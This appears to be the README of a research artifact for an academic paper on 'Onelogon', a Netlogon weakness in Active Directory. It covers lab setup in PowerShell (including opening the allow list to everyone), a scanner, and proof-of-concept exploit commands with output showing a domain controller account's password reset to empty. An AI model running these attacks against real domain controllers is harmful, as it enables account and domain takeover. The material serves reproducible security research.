

Onelogon: Taking over Active Directory Accounts via Netlogon

This repository contains code and data accompanying our paper *Onelogon: Taking over Active Directory Accounts via Netlogon* (WOOT'26).

1. Context
 2. How to Cite
 3. Artifact Structure and Setup
 4. Setting Up a Test Environment
 5. Scanning for Vulnerable Setups
 6. Exploitation
 7. Reproducing the Measurements
-

1 Context

The vulnerability outlined in our paper attacks a weakness in the 2020 cryptographic patch for the Zerologon vulnerability. Accounts listed in a group policy intended to allow support for legacy setups that do not support Netlogon signing and sealing are vulnerable to this attack. A detailed description of the vulnerability, the expected full attack chain, and possible mitigations can be found [in the paper](#).

2 How to Cite

```
@inproceedings{woot2026-onelogon,  
  title      = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},  
  author     = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},  
  booktitle  = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},  
  date       = {2026-08},  
  editor     = {Bianchi, Antonio and Classen, Jiska},  
  location   = {Baltimore, MD, USA},  
  publisher  = {USENIX Association}  
}
```

3 Artifact Structure and Setup

The artifact consists of a Python [poetry](#) project for the scanner and exploits.

To run the scripts provided with the artifact, install Python (3.12 or later) and either [poetry](#) ([instructions](#)) or [uv](#) ([instructions](#)). For simplicity, we list the commands assuming that you are using [poetry](#); should you choose to use [uv](#), simply replace any mention of [poetry](#) with [uv](#).

Any commands in this document should be run in the artifact root directory (where this README is).

If using [poetry](#), run `poetry install` to install all dependencies.

4 Setting Up a Test Environment

To reproduce the results of the paper, you can set up a Domain Controller using a version of Windows Server with Zerologon fixed (we have verified the exploit against both the 2019 and 2025 versions).

To set up the Domain Controller on a new installation of Windows Server 2025, run the following commands:

```
# Update system and rename computer to "DC"
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart

# Set up the domain (as "onelogon.local")
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"

# Disable Administrator password expiry to keep the VM usable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true
```

The vulnerability applies to any account listed in the DACL in the *Domain Controller: Allow vulnerable Netlogon secure channel connections* group policy object or the corresponding registry key:

HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList

You can manually configure these parameters on the Domain Controller (remember to run `gpupdate /force` if you update the GPO entry), or run the following command to add all accounts to the DACL in the registry key:

```
Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
    -Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
    -ValueName "VulnerableChannelAllowList" `
    -Type String `
    -Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone
```

5 Scanning for Vulnerable Setups

To determine which accounts a Domain Controller lists in its `VulnerableChannelAllowList`, we provide a scanner that parses the registry hive and GPO volume share of the Domain Controller. Note that accessing the registry for this scan requires Domain Administrator privileges (the exploit, of course, does not).

```
# Use the specified username and password to scan the target DC.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>

# Specify '--help' to get additional usage instructions.
poetry run scan --help
```

A *positive* scan result (there are vulnerable accounts on the Domain Controller) will reflect the security descriptor containing the vulnerable accounts (in Microsoft's Security Descriptor Definition Language):

```
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04FB984F9}':
'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)
```

A *negative* result (the target DC is *not* vulnerable) will instead look like this:

```
~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
    - The system cannot find the file specified.
```

6 Exploitation

To run the proof-of-concept exploit against a target Domain Controller, select a vulnerable account first. You will need the Domain Controller's IP address, its host name, and the name of the vulnerable account.

In our example setup, the vulnerable Domain Controller is named DC. Its machine account (DC\$) is included in the GPO policy and therefore vulnerable to Onelogon.

Run the meet-in-the-middle attack (Section 4.5 of the paper)

```
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
```

Run the 24-bit brute-force with a computer account (Section 4.4 of the paper)

```
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
```

Run the (slow) 32-bit brute-force with a computer account

```
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name> \
--comp-username <Computer account> --comp-pass <Computer account password>
```

Run the (very slow) 32-bit brute-force without a computer account

```
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
--username <Target account name>
```

As an illustration, we provide the output of a successful run of the meet-in-the-middle attack against a test environment:

```
~$ poetry run onelogon --dc-ip 192.168.108.244 --dc-name DC --username 'DC$'
[+] Namespace(dc_name='DC', dc_ip='192.168.108.244', username='DC$', comp_username=None,
    comp_password=None, comp_hash=None, workers=100)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Successfully bound to Netlogon RPC on DC (192.168.108.244)
[+] Using flags: (0b10000100011111111111111111111111)
1: A IGNORED (Account lockout)
1: B NT3.5 BDC continuous update
1: C RC4 support
1: D IGNORED (Promotion count(deprecated))
1: E Supports BDC handling Changelogs
1: F Supports Restarting full DC sync
1: G Does not require ValidationLevel 2 for nongeneric passthrough
1: H Supports DatabaseRedo
1: I Supports refusal of password changes
1: J Supports NetrLogonSendToSam
1: K Supports generic pass-through
1: L Supports concurrent RPC calls
1: M Supports avoid of user account database replication
1: N Supports avoid of Security Authority database replication
1: O Supports Strong keys
1: P Supports transitive trusts
1: Q IGNORED (Supports DNS trusts)
1: R Supports NetrServerPasswordSet2
1: S Supports NetrLogonGetDomainInfo
1: T Supports cross-forest trusts
1: U No NT4 Emulation
0: V Supports RODC pass-through
0: 0
0: 0
```

```

1: W Supports AES 128-bit CFB and SHA2
0: 0
0: 0
0: 0
0: 0
1: X IGNORED (Authenticated RPC via lsass supported)
0: Y Supports secure RPC authentication
0: Z Supports Kerberos for secure channel setup
[*] Estimated total tries without flushing: 2^16 / 2

[+] Starting the brute force attack...
[*] ROUND STATS:
[*] REQ:      Took 5.0858272750047036 seconds,
              average time per attempt: 0.00286042028965393909 seconds
[*] TRY:      Took 120.00023781700293 seconds
[*] CLEANUP: Took 5.999754648655653e-08 seconds
[*] ALL:      Took 125.08606619200145 seconds,
              average time per attempt: 0.07035211821822354161 seconds
[*]
[*] TOTAL STATS:
[*] TOTAL:    0.10 hours passed, average time per attempt: 0.06760343967316766178 seconds
[*] TRIES:    5538, average tries per cycle: 1846
[*] Estimated progress: 16.90%, estimated time remaining: 0.51 hours
[+] !!!Successfully authenticated DC$ on DC with b'\x00\x00\x00\x00\x11\x11\x04x'!!!
[+] Password set successfully to empty string!
[+] Successfully set the password of DC$ to an empty string!
[+] All tasks have been processed, stopping workers.
[+] All workers have been stopped.

```

7 Reproducing the Measurements

To reproduce the measurements in Table 1 of the paper, execute all four exploits described in the previous section.

You can obtain the expected attack time without completing the full attack, which would be prohibitively expensive for the naive approaches.

The speed of the 32-bit brute-force that waits for the timeout is bounded by the validity period of the client challenges. A full cycle (in which 100k challenges can be processed) then takes 120s (the timeout for the challenge list to be cleared). The expected attack time, therefore, is always $\frac{2^{31}}{100000} \cdot 120s \approx 29.83d$.

For attacks that use a computer account (both the 32-bit and 24-bit attacks), take the average time per attempt t from the TOTAL STATS section of the output. The 32-bit attack needs on average 2^{31} attempts (for a total expected time of $2^{31}t$). Similarly, the expected duration of the 24-bit attack is $2^{23}t$.

For the meet-in-the-middle approach, we cannot attempt all possible client credentials within the 120 second challenge expiry time. Instead, the expected time for the attack is determined by how many authentication attempts we can perform within that time frame. To obtain this figure, take the *average number of tries per cycle* a from the TOTAL STATS section of the output. Since we need on average 2^{15} authentication attempts to obtain a success rate of 50%, the expected attack time is simply $2^{15} \cdot a^{-1} \cdot 120s$

The exact timings obtained will depend on the exact hardware and software setup.